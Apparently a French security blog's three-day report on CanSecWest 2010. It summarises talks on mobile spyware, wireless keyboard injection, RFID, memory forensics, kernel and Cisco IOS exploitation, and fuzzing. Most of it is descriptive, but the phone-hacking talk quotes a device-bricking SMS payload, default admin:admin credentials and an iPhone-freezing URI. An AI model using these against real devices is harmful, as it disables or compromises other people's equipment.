Compte-rendu CanSecWest 2010 - jour 3

GR — Mon, 19 Apr 2010 21:00:00 +0200

Friday March 26

08:30 - 09:00 Breakfast

09:00 - 10:00 Stuff we don't want on our Phones: On mobile spyware and PUPs - Jimmy Shah, McAfee, Inc

Chercheur en antivirus pour la mobilité. Les spyware sous plateformes mobiles : - adware : pas aussi intrusifs que sur PC - PUP : Potentially Unwanted Program, comme des serveurs Web ou FTP intégrés au téléphone. Mais aussi des programmes qu'une entreprise ne souhaite pas voir sur ses téléphones comme Metasploit, Aircrack, ...

En Indes, le gouvernement a demandé un accès de type spyware aux téléphone Blackberry. Ils ont aussi réduit la taille des clés de chiffrement de 256 bits à seulement 40 bits. Ils ont aussi obtenu que les serveurs Blackberry soient en Indes, pour pouvoir monitorer le trafic. Le gouvernement a aussi prétendu avoir cracké le chiffrement "non-corporate".

Etisalat a poussé une mise à jour sur les Blackberry. Un reverse engineering a montré que cette mise à jour intégrait du lawful interception. Une copie des mails était envoyée à une adresse Etisalat. Ce reverse a été simplifié puisque l'update était au format .JAR, au lieu du format .COD.

Une famille de vers iPhone (OSX/RRoll.A-B) modifiait l'image de fond et désactivait le démon SSH. L'auteur était Ashley "ikex" Towns.

Attention, certains spywares sont distribués via Android Appstore (cas d'une App de banking). Il existe aussi des Appstore alternatifs aux originaux, où le contrôle est difficile.

Présentation sans intérêt, j'ai arrêté de la suivre à la moitié. En gros, il fait un historique des recherches en développement spyware pour téléphones mobiles faites par d'autres, et présentées à BlackHat et autres conférences (Spyphone (iPhone), Phonesnoop (Blackberry)).

A noter aussi un PoC de botnet (WeatherFistBadMonkey), mais jamais releasé. Envoi des emails, fait du DDoS et fournit un reverse shell.

La présentation s'est achevée parce que l'ordinateur de l'orateur n'avait plus de batterie ... à 10 minutes de la fin. Un mec de l'organisation est venu l'aider pour rétablir le courant. Ça donne le niveau. Sur le mur tweeter de CanSecWest, les gens se lâchent sur la présentation. Je ne suis pas le seul à l'avoir trouvé pourri.

10:00 - 10:30 Second Breakfast

10:30 - 11:30 Practical Exploitation of Modern Wireless Devices - Thorsten Schroeder and (contributing) Max Moser, Dreamlab Technologies

Les gars sont du Dreamlab Technologies et de remote-exploit.

C'est un talk sur l'injection et l'écoute de données pour les claviers sans fils basés sur les fréquences 27 MHz. Keykeriki est un petit dispositif hardware, ils ont aussi fait le firmware. Le talk n'aborde pas l'infrarouge ou les technologies bluetooth.

Ça parle des communications en sens unique sur 27 MHz. Le protocole n'a pas de support pour le chiffrement (enfin c'est à la charge du fabriquant d'implémenter çà), et les messages ne sont pas protégés contre le rejeu. Ils ont reversé le protocole des claviers Logitech et Microsoft. Chaque frappe au clavier provoque l'envoi d'un paquet avec le keyboard ID, la touche, et l'état (appuie ou relâche).

Ils ont releasé la V1 de Keykeriki en may 2009, et il pouvait juste sniffer les claviers Microsoft, Seimens-Fujitsu et Logitech. Une SDCard pour le stockage des données, et du cracking à la volée du chiffrement. L'injection était limité, parce que certains bits du protocole n'était pas encore vraiment reversé.

Nordic Semi NRF24xxx permet d'avoir un receiver, et jusqu'à 6 appareils connectés (concept du multiceiver). Le protocole supporte un CRC (mais optionnel). Pour sniffer, il faut tout d'abord trouver l'adresse de l'appareil. Il faut identifier le préambule, et seulement ensuite on peut trouver cette information. Cette-ci est sur 5 bytes. et le préambule fait 8 bits. Un heuristique est utilisé pour trouver cette adresse, avec un certain niveau de False Positive. Keykeriki a une interface JTAG pour le débogage.

Microsoft utilise du crypto hardware AES-128 dans ses claviers. Ensuite, une explication sur les différents paquets et leur format. Les claviers Logitech utilisent aussi le chiffrement AES-128.

Note : certains appareils utilisés pour le vote sont basés sur ce genre de hardware. Certains appareils sont aussi présents dans les voitures.

Démo sur un clavier Micorosoft, remote command execution par injection de frappes clavier. Ce n'est pas du simple replay, ils ont implémenté les fonctions d'un vrai clavier. Injection possible jusqu'à 75 mètres ...

Ils ont l'intention de fournir une version gratuite et une version commercial du produit, ainsi qu'un module Wireshark. Toutes les infos sur http://www.remote-exploit.org/.

11:30 - 12:30 RFID Hacking at Home - Dr. Melanie Rieback, Vrije Universiteit Amsterdam

Elle bosse dans le lab ubisec, Security in Ubiquitous Computing. C'est le même genre de travail qui a été fait dans la présentation précédente.

Les menaces à prendre en compte : - lecture non autorisée - clonage - DoS - tracking - écoute

Existe-t-il des malwares pour RFID ? - exploits - vers - virus Via l'exploitation de buffer overflow dans le format des messages. Rien de connu pour l'instant.

Note : utilisation de Google Trend pour voir l'évolution d'un sujet (comme RFID malware).

Elle bosse sur un dispositif nommé RFID Guardian. Un dispositif mobile de pentesting et firewalling pour RFID. C'est un projet vendor-neutral, tout est disponible sur http://rfidguardian.org/. Le but est de montrer au monde que les RFID ne sont pas suffisamment sécurisés. Le dispositif coûte dans les 500 euros à fabriquer. Le bootloader est GPL. Ils cherchent des sociétés qui voudraient collaborer avec eux.

Fonctionnalités: - emulation de tag RFID - attaques de rejeu - attaques de relai - selective jamming - tag spoofing - RFID firewall (ACL) => n'autoriser que les bonnes personnes à accéder au tag RFID => mais ça n'empêche pas une personne d'écouter le trafic. - implémentation de SSL. Ça marche, mais c'est très lent - RFID fuzzing (Bstorm)

12:30 - 13:30 Lunch

Remise des prix de PWN2OWN, les gagnants se voient remettre un super laptop et un gros chèque de 10,000 CAD.

13:30 - 14:30 Advanced Mac OS X Physical Memory Analysis - Matthieu Suiche

Il a créé sa propre société MoonSols. Spécialisé dans le forensics. C'est notamment l'auteur du Sandman framework et de Windd.

Pourquoi ? La mémoire non-volatile ne suffit pas. Actuellement uniquement base sur x86 (32-bits) Mac OS X. Uniquement de l'acquisition basée sur du software. En hardware, le mapping mémoire n'est pas le même.

Accès à la mémoire physique : - soit accès au /dev/mem, mais c'est désactivé par défaut (et on ne peut pas rebooter, c'est du live forensics) => donc utilisation bcopy_phys() - soit utiliser l'hibernation (Safe Sleep)

Safe Sleep : créé une image compressée (format WKDM). Et peut éventuellement être chiffré (mais désactivable sans rebooter). Le but de l'analyse est d'éviter la recherche de chaine en mémoire de manière aléatoire. Méthodologie: - recherche des symboles kernel - initialisation du gestionnaire de mémoire - parcourir l'espace d'adressage virtuel du kernel - collecter l'information.

On obtient : - la liste des threads - les processus - information sur la machine - les descripteurs de fichiers - des informations réseau - des fichiers ouverts et leur contenu - des mots de passe ...

Windows stocke les symboles dans des fichiers séparés (.PDB). Sous Mac OS X, ils sont stockés dans l'exécutable kernel. Pour lire les données d'adresse des symboles kernel, ils faut utiliser une formule de conversion. S'ensuit une description du parcours de l'espace d'adressage virtuel. Maintenant, on a les sympboles kernel et le gestionnaire de mémoire est initialisé, tout l'espace mémoire kernel est maintenant parcourable.

D'abord récupérer les informations de version du système. Puis la liste des systèmes de fichier. La liste des extensions kernel via le parcours de la liste chainée kmod. Puis la liste des processus BSD via la structure kernproc, ainsi que les informations associées dans la structure de données du processus. Reconstruction de la syscall table.

Détection de rootkit : si un offset dans une entrée syscall n'est pas dans les symboles kernel, y'a un soucis ^^

Démo. Commandes info (version du kernel, mémoire, CPU), mount (listage des filesystems avec leur mountpoints). syscall pour la syscall table (avec offset associés, et si l'entrée est correcte pour détecter la modification d'une entrée comme par du hooking). kext pour avoir la liste des extensions kernel. ps pour la liste des processus avec parent ID. On peut "zoomer" sur un processus via la commande pid. Puis démo en zoomant sur le processus loginwindow. Une simple commande exploite une faiblesse de ce programme divulguée début 2008 qui affiche en clair le mot de passe utilisé pour se loguer.

Site : http://www.moonsols.com/ Twitter : msuiche

14:30 - 15:30 Full Process Analysis and Reconstitution of a Virtual Machine from the Native Host - James Butler, MANDIANT

Une présentation qui se rapproche très fortement de la précédente. Cette fois c'est sous Windows que ca se passe. Il fait l'historique des dispositifs hardware permettant un accès à la mémoire physique (PCI, bus DMA, PCMCIA, ...). Ensuite les méthodes software (BSoD, \\.\DebugMemory, ...). Il n'est plus possible aujourd'hui depuis un processus userland d'avoir accès à la mémoire physique (Doh!). Outils : Windd (Matthieu Suiche), Memoryze (MANDIANT). Description du mécanisme de translation d'adresse mémoire sous x64. Des pages de débogueur kernel Windows.

VMSafe (disponible dans VMWare vSphere) fournit de l'introspection de la mémoire et de l'état des CPUs, du filtrage des paquets réseau, monitoring et contrôle complet des processus, montage des filesystems depuis le guest sur le host. XenAccess tente d'implémenter les même fonctions.

Démo. Son outil se branche sur une machine virtuelle VMWare en cours d'exécution (un guest Windows). Il se branche sur le fichier .vmem que VMWare utilise pour ses machines en cours d'exécution. Donc, outil est vraiment poussé, beaucoup de choses sont explorés dans la mémoire des processus.

Vraiment trop orienté Windows internals, je n'ai pas vraiment suivi (désolé Charles). L'orateur n'était pas aussi didactique que le précédent.

15:30 - 16:00 Break

16:00 - 17:00 Through the Looking Glass: An Investigation of Malware Trends and Response Activity - Jeff Williams, Microsoft

Historique de la détection des botnets. Puis zoom sur le malware Win32/Waledac. Il parle de la bêtise des utilisateurs qui cliquent sur n'importe quel lien. Waledac installe aussi automatiquement d'autres malwares une fois la machine infectée. S'ensuit une énumération d'autres malwares ainsi que leur distribution à travers le monde. L'idée est que chaque botnet est distribué de manière différente à travers le globe. Certains sont plus répandus en Russie, d'autres en Chine, d'autres encore aux États-Unis.

Tous les botnets n'utilisent pas le même canal de C&C : IRC, HTTP, P2P, autre.

Waledac est un acteur majeur de production de spam. Son canal de C&C se base sur différents protocole : HTTP, P2P et l'architecture est basé autour d'une structure hiérarchique de type fast-flux DNS. Tous les domaines sont en .com. Microsoft a bossé avec Verisign (gestionnaire des .com) et les forces de l'ordre pour couper ce botnet. Ce botnet possède un middle-tier pour masquer la tête du réseau. Cette opération s'est appelée "Operation b49".

Cela a créé un précédent : le shutdown de certains domaines. Pour la première fois, on a montré qu'un botnet basé sur du P2P pouvait être contrôlé par une autre personne que le hurder.

Maintenant, grâce aux enseignements de cette opération, Microsoft lance le projet MARS (Micrososft Active Response for Security) pour couper le plus de botnet possible. Des centaines de milliers d'heures de ressource humaines sur ce projet.

Présentation était très courte et sans détails techniques, en forme de "Microsoft sauveur du monde".

17:00 - 18:00 The Jedi Packet Trick takes over the Deathstar: taking NIC backdoors to the next level - Arrigo Triulzi, Independent Security and Networking Consultant

Le speaker est loin, il est connecté via Skype. Talk originellement donné à PacSec 2008. Il a découvert par hasard que le NIC faisait du checksum offloading. Il s'est posé la question : peut-on en tirer quelque chose ? Il utilise une carte Broadcom (Tigon, basé sur un processeur MIPS), avec un firmware téléchargeable sur le site du fabriquant. L'idée est d'implémenter une attaque depuis une carte NIC1 vers une carte NIC2. Une carte n'a pas l'habitude de gérer une attaque venant de l'intérieur. Via PCI-to-PCI. Comment créer un rootkit directement dans une carte ?

Pré-requis : - NIC1 pour communication externe - NIC2 pour communication interne - nVidia GPU (on dirait que l'attaque repose en grande partie sur le fait qu'il y ait un kit de développement nVidia) - EFI BIOS

nicssh utilise plusieurs fonctions : findnic pour trouver une autre carte en scannant le bus PCI. grabnic pour injecter un firmware sur une carte vulnérable. forward pour mettre en place du forwarding de paquets. Il y a aussi nicfw (le firmware modifié).

La possibilité de faire du remote update nécessitait des droits admin. Cela fonctionne en envoyant un WOL suivi d'un message UDP dans un format particulier. Mais pousser un firmware via UDP est risqué, on risque de perdre des morceaux.

En gros, il injecte un nouveau firmware à distance, et ouvre un shell sur la carte réseau ...

Amélioration suivante, utiliser un module EFI pour charger nicssh 2.0 sur la NIC. Ce module chargera le nouveau firmware et installera nicssh sur le GPU. Le but final étant d'obtenir la persistance pour se protéger contre le re-flashing de la NIC. Le module EFI est stocké dans le SATA pour gérer ca.

Ces problèmes de sécurité viennent de failles crypto, d'une mauvaise gestion des clés (PKI FAIL). Une autre idée est d'utiliser les ucode pour mettre à jour les CPU (les errata). Les updates de ucode ne sont pas persistantes lors des reboots. EFI est encore la solution. C'est encore du work-in-progress, plein de choses sont encore à explorer dans ce domaine.

18:00 - 19:00 C8H10N4O2 and C2H6O (and teardown)

Compte-rendu CanSecWest 2010 - jour 2

GR — Mon, 12 Apr 2010 21:00:00 +0200

Thursday March 25

09:00 - 10:00 SEH overwrite and its exploitability - Shuichiro Suzuki, Fourteenforty

SEH overwrite est la méthode d'exploitation principale pour les programmes sous Windows. Il existe des méthodes de protection (DEP, SEHOP, SafeSEH). Sont-elles suffisantes ? SEH est le système de gestion des exceptions employé sous Windows. Il y a une liste chainée dans la pile. C'est une liste chainée gérant les exceptions. Le classique stack overflow permet de ré-écrire le pointeur d'entrée de la liste des exceptions. Suivi d'une description de la callstack quand une exception survient. Description de SafeSEH. Et d'une faiblesse de SafeSEH. Il existe encore une zone exécutable dans la protection SafeSEH, et le but est de l'utiliser. Il passe ensuite aux faiblesses de SEHOP (SEH Overwrites Protection). Une autre protection nommée Hardware DEP empêche l'exécution de code dans l'attribut exécutable. Il y a aussi l'ASLR qui a de nombreux impacts sur SEH. Il passe à l'explication du contournement de ces protections. L'idée pour contourner SEHOP est de reconstruire une chaine de gestion des exceptions valide. Pour contourner le Hardware DEP, il utilise des méthodes de type return-into-libc et de return-oriented programming. Ne pas perdre de vue qu'on parle d'un stack overflow, et donc ces techniques fonctionnent.

Liste des choses a faire : - re-créer la chaine SEH (bypass SEHOP) - ré-écrire l'exception handler address dans un module non protégé SafeSEH - créer une pile pour exécuter le code voulu (bypass Hardware DEP) => utilisation de memcpy() pour ensuite placer un code ou on veut ...

Demo sous Windows 7. Bon, il nous lance un débogueur, et fait de l'exécution pas à pas pour bien tout comprendre sur un programme vulnérable.

ASLR rend difficile la création d'une chaine SEH valide. Il rend aussi difficile de trouver les instructions utiles à une adresse fixe.

Conclusion : cette présentation demande de fortes compétences en exploitation de failles sous Windows. Sans ca, c'est difficile de comprendre les tenants et les aboutissants. Pour terminer, il donne un tableau des conditions d'exploitation en fonction des différentes protections.

10:00 - 10:30 Second Breakfast

Je reconfigure ma carte WiFi qui a décidé de ne plus fonctionner :/ Mise en place de connexion sur le bon AP, établissement de mon tunnel SSH préféré avec du DynamicForwarding pour éviter tout risque d'écoute de mon trafic. Vive les serveurs dédiés sur Internet.

10:30 - 11:30 There's a party at ring0, and you're invited. - Julien Tinnes & Tavis Ormandy, Google

Ils bossent dans l'Information Security team de Google. Il y a du sandboxing dans Google Chrome et Android. Le talk est a propos du kernel comme cible des attaques de type local privilege escalation. Deux types de bug kernel : memory management corruption et bug de logique. Exemple de bugs de logique : CVE-2001-1384, CVE-2003-0123. Exemple de bugs de mémoire : CVE-2003-0961. En milieu kernel, on contrôle tout l'espace d'adressage, on accède à la complexité de gestion de l'espace mémoire. Exploiter le kernel sert par exemple à : sortir de chroot(), contourner les MAC, contourner les vserver. Pour bien se protéger, il vaut mieux utiliser un suite de protection kernel comme grsecurity. Avant, ce genre d'attaque n'était pas très répendues sous Windows, mais cela change. Très peu de remote kernel exploits pour Linux (publics en tout cas). Certains bugs sont exploitables en remote via le Web browser (exemple : faille dans le driver nVidia). Grande surface d'attaque pour le kernel : ioctls, devices, kernel parsers. Filesystems, network protocols, format des exécutables ... Demo orientée kernel Windows. Ils ont trouvé un moyen de placer le bit supervisor à 1 en exploitant une faille. Ce qui donne un accès au mode Virtaul-8086 (ring0?). GDI a été deplacé du userland vers le kernelland pour des raisons de performances. Mais le GDI est ce qu'il y a de plus simple à exploiter à distance. Par exemple via IE, en accédant aux fonts (TTF) qui sont gérées via GDI. Description d'une faille dans le parsing des fonts TTF (donc, code exécuté en ring0). Description de l'exploitation des NULL pointer dereferences sous Linux. Exemple d'une faille découverte par eux : CVE-2009-2692. NULL pointer dereference en local via sock_sendpage. sock_sendpage à un modèle de fonctionnement fragile, puisque nécessite la MAJ de tous les modèles si on modifie certaines fonctions pointées dans la structure proto_ops. Par exemple, pour une faille, une structure était initialisée à NULL. Il suffisait de placer son shellcode à NULL pour qu'il soit exécuté au lancement. Puis ils ont trouvé un autre bug de même type : CVE-2009-2698 dans udp_sendmsg. Suivi d'un exemple d'exploitation pour fasync, une faille de type use-after-free. Suivi d'un exemple d'exploitation sous NetBSD. Explication sur la syscall interface sous Windows : compliquée, instable, et non documentée. Vaste aussi (300 sous Linux). Normalement seulement utilisé par du code Microsoft. Les syscall sont très vulnérable au fuzzing car peu résistants aux mauvaises entrées. Et comme le kernel parse des fonts, des pixmaps, la syscall interface est un excellent candidat au fuzzing. Plus facile de trouver des bugs en fuzzant la syscall sous Windows sur sous Linux. Solution pour se protéger contre les privileges escalation : TPE (Trusted Path Executables). Facile à contourner sous Linux, à moins d'utiliser grsecurity. Gagne en popularité sous Windows. Pour contourner cette protection; on peut utiliser des failles dans des programmes interprétés (Python, Perl, ...). Autre solution : le sandboxing, à base de chroot() et de ptrace() (lent et difficile à mettre en place). SECCOMP-based sandbox aussi (sera peut-être implémenté dans Chrome-Linux). Mais si on ne peut protéger le kernel, l'utilisation de la virtualisation peut être une alternative. Une autre bonne protection pour le kernel Linux est l'utilisation de PaX, qui utilise des techniques de limitation de permissions dans le kernel.

Conclusion : Si le kernel trust une donnée userspace, une faille de sécurité de type escalade de privilège existe. Cela vaut pour l'existence d'une donnée, mais aussi pour l'absence d'une donnée. En gros, c'était une liste d'exemple d'exploitation de bugs kernel sous Linux et Windows. Tavis est plus Windows, et Julien plus Linux. La surface d'attaque kernel est grande et grossit de plus en plus. De plus en plus facile à atteindre en remote. La difficulté d'exploitation va de simple à très dur. Les technos de prévention d'exploitation en kernel sont aujourd'hui immatures. En gros, les sandbox c'est bien, mais il y a toujours une surface d'attaque depuis la sandbox vers le kernel qu'il est difficile de protéger.

Lien : http://blog.cr0.org/2010/03/theres-party-at-ring0-and-youre-invited.html

11:30 - 12:30 Babysitting an army of monkeys: an analysis of fuzzing 4 products with 5 lines of Python - Charlie Miller, Independent Security Evaluators

Fuzzing de 4 produits en 5 lignes de Python. Fuzzing de PDF (Preview et Acrobat Reader). Fuzzing de PPT (OpenOffice et PowerPoinet). Dumb fuzzing : faire des modifications sur un fichier correct. Smart fuzzing : utiliser des entrées créatives "from scratch". Compromis : utilisation de dumb fuzzing avec de nombreux fichiers différents. Idée : avec suffisamment de fichiers en entrée, on peut couvrir une grande surface des fonctionnalités offertes par le format. Mais toujours la limitation du CRC et de la compression sur ces fichiers.

Méthodologie : - download de plus de 80 000 fichiers PDF depuis Internet. - Acrobat Reader + Valgrind sous Linux pour mesurer la couverture de code. - réduit à ~1500 fichiers

Le fuzzer de 5 lignes: - change juste des bytes au hasard par des valeurs prisent au hasard. - ne rien supprimer, ne rien ajouter.

Utilisation de son framework de fuzzing parallèle (Tiamat). Scripté par AppleScript et monitoring du CPU pour savoir quand lancer le fichier suivant. Enregistrement des crashs répétés. Utilisation de libgmalloc (comme libefence) pour détecter les heap overflow sous Mac OS. Utilisation de memcheck (outil Valgrind) pour simuler l'exécution de programme et enregistrer les opérations mémoire invalides. Détection sous Linux. Crashwrangler classe les bugs en disant si ils sont exploitables ou pas.

Le fuzzing est une histoire de filtrage. Filtrage des résultats pour les classer en crash, exploitables, ... Recherche des crashs donnant des EIP uniques grâce à libgmalloc et Valgrind. S'ensuit une liste de chiffres sur le classement, et le nombre de bugs exploitables au final. Lancement de plus de 3 millions de tests depuis 1500 fichiers PDF.

Plus on fuzz un fichier unique, plus on trouve de faille exploitables: 500 => 1; 1000 => 2; 1500 => 3; 2000 => 4; ...

Ensuite même chose, mais contre Preview (viewer PDF sous Mac OS). Ensuite même chose, mais contre les fichiers PPT d'OpenOffice. Ensuite même chose, mais contre les fichiers PPT d'Office.

L'orateur a fini par faire un check lui-même pour vérifier l'exploitabilité de ce qu'il a trouvé. Il est souvent d'accord avec le résultat de Crashwrangler. L'autre programme pour tester s'appelle !exploitable et donne des résultats moins fiables.

Conclusion : plus on fait d'itérations sur ces 5 lignes de Python, plus ou trouve de bugs exploitables. L'idée intéressante ici était de prendre des fichiers valides, et de modifier 1 byte de manière aléatoire dans chacun de ceux-ci, et d'itérer sur chacun un grand nombre de fois pour avoir le plus grand nombre de fichiers de fuzzinga différents. Mais l'orateur arrive à une conclusion étonnante : les outils qu'il utilise ne sont pas doués pour détecter les erreurs et l'exploitabilité ... Beaucoup de chiffres affichés, difficile de tirer une conclusion claire.

ooo Un gars éteint son ordinateur portable sous Windows. Je vois l'écran de mise à jour : 72 patchs restants ... ooo

12:30 - 13:30 Lunch

13:30 - 14:30 ShareREing is Caring - Halvar Flake and Sebastian Porst, zynamics GmbH

EScript.api (Adobe Reader JavaSript Engine). Le talk est a propos d'un plugin IDA Pro nommée BinCrowd. BinCrowd a permis de détecter que c'est en fait l'engine SpiderMonkey qui est derrière EScript.api. Cela a été possible sans le code source associé.

L'idée est de trouver les programmes intégrant les mêmes bibliothèques non-dynamiques dans leur code. Ainsi, si on trouve une faille dans un programme A qui intègre une bibliothèque vulnérable, on peut trouver les autres programmes qui ont aussi cette faille.

S'ensuit une description de l'algorithme permettant l'identification de duplication de bibliothèque. C'est une fonction de hash pour un graphe. Ainsi, une comparaison numéraire est possible. Mais en fait, a l'usage, cela se montre trop limité, et il est nécessaire de développer un algo pour gérer un callgraph complet avec les adresses de fonctions associées.

BinCrowd est aussi une solution pour faire du RE entre équipes qui ont un différent niveau d'accréditation. Les données sensibles ne peuvent être transmises entre équipes qui ne possède pas le même niveau. Ainsi, il est possible de partager le travail, mais pas les données sensibles. Cela fonctionne comme un middleware, avec une base de données centrale, et un contrôle du transfert des informations.

Tout le monde peut utiliser BinCrowd, le plugin (opensource?) ainsi qu'un compte sont nécessaires.

14:30 - 15:30 Cisco IOS Exploitation with IODIDE - Andy Davis, KPMG

Il fait de la rechercher sécurité chez KPMG en Angleterre. IODIDE est un IOS débogueur et un Integrated Disassembler Environment écrit en Python. Il communique avec IOS via le remote gdb intégré. Il a une interface graphique. S'ensuit une explication du fonctionnement du gdb Cisco (qui varie au niveau du remote protocole par rapport à celui d'un gdb standard). Le gdb Cisco ne supporte qu'un nombre limité de commandes. On peut s'y connecter via IP où un accès port série.

Démo.

Grâce à cet outil, on peut utiliser un débogueur ressemblant à OllyDbg pour voir l'état des registres, les exceptions, l'état de la pile, ainsi que le code désassemblé ... le tout en remote. Le débogueur a vraiment l'air puissant. Recherche de données en mémoire. Obtention de la liste des process. Affichage de la configuration Cisco actuelle. On peut aussi modifier les registres et la mémoire. L'environnement de désassemblage est pas mal non-plus, il permet d'ajouter des commentaires de manière simple.

Ensuite un historique des failles IOS. Stack et heap overflows. Format string (mais seulement fuite d'information, pas de %n chez IOS). Mike Lynn a été le premier à créer un shellcode pour IOS (un connect-back shellcode) mais qui n'a jamais été diffusé.

IOS est un gros binaire ELF dont toutes les fonctions ont des adresses différentes en fonction de la version d'IOS. Le processeur est du PowerPC. Identifier la version exacte est très difficile. Si l'ont utilise une adresse incorrecte lors d'une tentative d'exploitation, le router reboute.

Étude de cas sur une faille dans le serveur FTP. Un stack overflow dans le verbe MKD. S'ensuit une explication de l'exploitation des stack overflow sur architecture PowerPC. L'équivalent de EIP sous x86 est ici LR (Link Register). L'adresse que nous souhaitons utiliser pour lancer le shellcode se retrouvera dans le PC (Program Counter).

Le shellcode devra supprimer le prompt pour un password au login, et donner un accès "level 15" équivalent à root. Et surtout, sortir de manière propre sans crasher le routeur. Pour supprimer le password prompt, il écrit la valeur 1 à un offset. Pour accroitre les privilèges, il écrit la valeur 0x1f000000 à un autre offset. Pour sortir de manière propre, il fait l'équivalent d'un kill(-1), pour se tuer lui-même. Mais ca ne coupe que la connexion, pas le service FTP.

Il a diffusé un shellcode (cassé) en juillet 2008. Maintenant, il utilise un méthode return-oriented programming. Il utilise le propre code PowerPC pour écrire une adresse où il veut. En 2 paquets, il obtient la suppression du password prompt, et l'élévation de privilèges. Mais il utilise des adresses hard-codées.

Utilisation du syscall #34 pour accéder à la chaine de version IOS. Utilise la fonction send() pour retourner l'info via la socket ouverte.

Démo. Via IODIDE (Exploit Edition), il exploite la faille. Pas mal.

Conclusion : excellent outil de débogage et désassemblage. A mon avis excellent pour écrire des exploits IOS. Pas grand monde fait de la recherche sur l'exploitation IOS; plein de boulot en perspective dans le domaine. IODIDE ne supporte que PowerPC pour le moment. Il sera releasé en open source (mais pas l'Exploit Edition).

15:30 - 16:00 Break

16:00 - 17:00 Random tales from a mobile phone hacker - Collin Mulliner

Checheur en sécurité sur les appareils mobiles. Tout ce qui possède une carte SIM.

Découverte de fuite d'information et exploitation à l'aide d'URI "from hell" principalement. Tout d'abord fuite d'information par connexion à des sites Web via le navigateur intégré au téléphone mobile. Aujourd'hui les téléphones ont un vrai navigateur (WAP est mort), et l'accès au Web est populaire.

- MSISDN : numéro de téléphone. - IMSI : SIM card ID - IMEI : phone ID

Rumeur : certains téléphones feraient fuir des infos privées via les en-têtes HTTP. Du coup, il a mis un place un logging systématique des en-têtes HTTP sur son serveur Web qui est assez populaire. Il peut collecter des données pour vérifier. Quelques exemples : - Rogers : opérateur Canadien révèle le MSISDN. - H3G Italie : révèle aussi le MSISDN. - Vodafone aussi. - Orange UK aussi, et bien plus encore. - Pelephone, Israel, fait fuir le MSISDN, l'IMSI et l'IMEI clairement dans les en-têtes.

Et l'énumération continue, c'est l'hécatombe. Certains encodent l'info en Hex ^^ D'autres infos souvent remontées : customer ID, point de connexion (APN).

Apparemment, les téléphones n'ont pas ces infos, elles sont donc ajoutées par un proxy/gateway de l'opérateur. Le sujet des Web proxy de téléphones semble compliqué.

Démo. Une liste d'information capturées avec des statistiques.

L'orateur trouve étonnant que ces fuites d'informations n'aient pas eu une plus grande attention médiatique.

L'orateur fournit un lien pour valider son opérateur (sans qu'il ne logue, rires) : http://www.mulliner.org/pc.cgi

Ensuite on passe au hack du Kindle. Il possède une carte SIM qui marche sur tout téléphone, mais sans voix ni SMS. On peut seulement accéder au net via un proxy hardcodé chez amazon.com. Le trafic est rejeté si il ne vient pas du navigateur du Kindle. Mais comment ? Utilisation de privoxy (ou Modify Header) pour ajouter un en-tête x-fsn. L'outil Tethering implémente ca. Le hack permet un accès complet à Internet.

Ensuite il passe a Digital Picture Frame (HUAWEI DP230). Il a un modem et une carte SIM et un numéro de téléphone ... Désossage, branchement sur le port série puis accès shell (admin:admin). Il peut recevoir des SMS et possède un accès GPRS. Un SMS en XML permet de modifier la conf de l'appareil, comme par exemple modifier l'image de fond. Il doit par contre être originaire d'un numéro spécifique. Spoofer ce numéro est assez facile. Des services en ligne le fond pour pas cher. C'est le download des binaires qui a permis de reverser ce fonctionnement.

Quelques attaques: - désactiver l'accès Internet "<req><GPRS apn="brick"/></req>" - effacer toutes les images

Conclusion : les numéros assignés par les opérateurs sont guessable. On peut bricker tout un parc de machine de ce genre en brute-forçant un petit espace de numéros.

Il passe ensuite sur les cartes pré-payées. Quand le compte est vide, le trafic est redirigé vers un portail Web pour la recharge. On peut faire du DNS tunnel comme ca ^^ mais c'est identifiable par l'opérateur à cause de la nécessité d'avoir un endpoint DNS. Ça reste du tunnel DNS sur une connexion 3G, les performances ne sont pas super.

Maintenant les URIs from hell : des protocoles spéciaux implémentés dans les navigateurs des téléphones. C'est facile de faire crasher un téléphone avec du JavaScript embarqué dans un site Web malicieux, les téléphones trouvant automatiquement les URI qui les intéressent. Pour l'iPhone, une attaque permet le lancement d'un appel automatique via un iframe et un URI de type "sms:" ou "tel:" (<iframe src="sms:numéro" ...>). Avec une chaine trop longue dans le "sms:" URI, le téléphone freeze (CVE-2009-0961). Pour l'instant, ca fait juste apparaitre la fenêtre d'envoi de SMS ou d'appel. Pas d'automatisation possible.

Conclusion : il n'y a pas que les smartphones dans la vie, il faut penser aussi aux simples? téléphones, aux réseaux des opérateurs mobiles et au "Consumer Electronics Devices".

17:00 - 18:00 Legal Perspectives of Hardware Hacking - Jennifer Granick, EFF

Présentation orientée lois aux US. Mais utile, car si on enfreint les lois US depuis un autre pays, on peut être poursuivi en posant les pieds chez eux (en gros). L'EFF travail sur le droit des développeurs, sur les DRM, ...

Nouveauté : accéder à du software embarqué viol le DMCA.

Elle n'aborde pas les violations de brevets, ni les "trade secrets". Les présentation est donc orientée violation du DMCA. Quelques exemples : iPhone jailbreaking, calculatrices TI, Kindle Souvent, les attaques s'articulent autour de la signature des composants (la chaine de confiance TPM). Et donc à une attaque ciblée sur les clés de signature. Pour le Kindle, c'est une méthode pour contourner le DRM.

Note : pour la calculatrice TI : la clé privée est dérivée de la clé publique :) Le fait que les clés de signatures soit faibles n'entre pas en compte lors d'une poursuite judiciaire.

Ce qu'il faut retenir : - éviter de cliquer pour accepter le EULA - avoir l'autorisation du fabriquant du produit - et d'autres encore.

Un talk sur la légalité que je n'ai pas vraiment suivi.

Question ouverte : pourquoi dans toutes les conférences de sécurité, la seule femme qui présente parle des aspects légaux ?

18:00 - 19:00 Lightning Talks - Various

ooo La fille qui s'occupe de faire le gong entre les talks boit une bière. Elle prend une pause comme dans une pub. D'ailleurs, les gens qui font un lightning talk ont le droit à une bière. ooo

- CSP (Content Security Policy) - URL shorteners (utilisation d'encoder de shellcode alphanumeric pour les URI véhiculant un exploit genre smb://long_string, et on place dans un URL shortener, et ca passe) (Saumil Shah) - Waledac Botnet (Thorsten Holz) Attaque Sybil pour couper une partie du réseau P2P. - 2600 Hz or not, Jon Van Boxtel

Saumil gagne le prix du meilleur talk.

20:00 - 1:00 Party Venue TBA

Compte-rendu CanSecWest 2010 - jour 1

GR — Mon, 05 Apr 2010 20:43:00 +0200

Wednesday March 24

La matinée de cette première journée est consacrée à l'enregistrement des participants. Environ 500 personnes présentes dans la salle.

13:00 - 14:00 Internet Nails Marcus Ranum, Tenable

Une histoire de bad software engineering et de bad design ; où comment une petite erreur de design peut couter très cher. En 1971, FTP est inventé et codé. Les premières versions de transport d'email était faite via FTP. En 1976, NCP. Qui était l'ancêtre de TCP. Fonctionnement a sens unique, pas encore de full-duplex. Suivi d'une explication sur le fonctionnement de FTP.

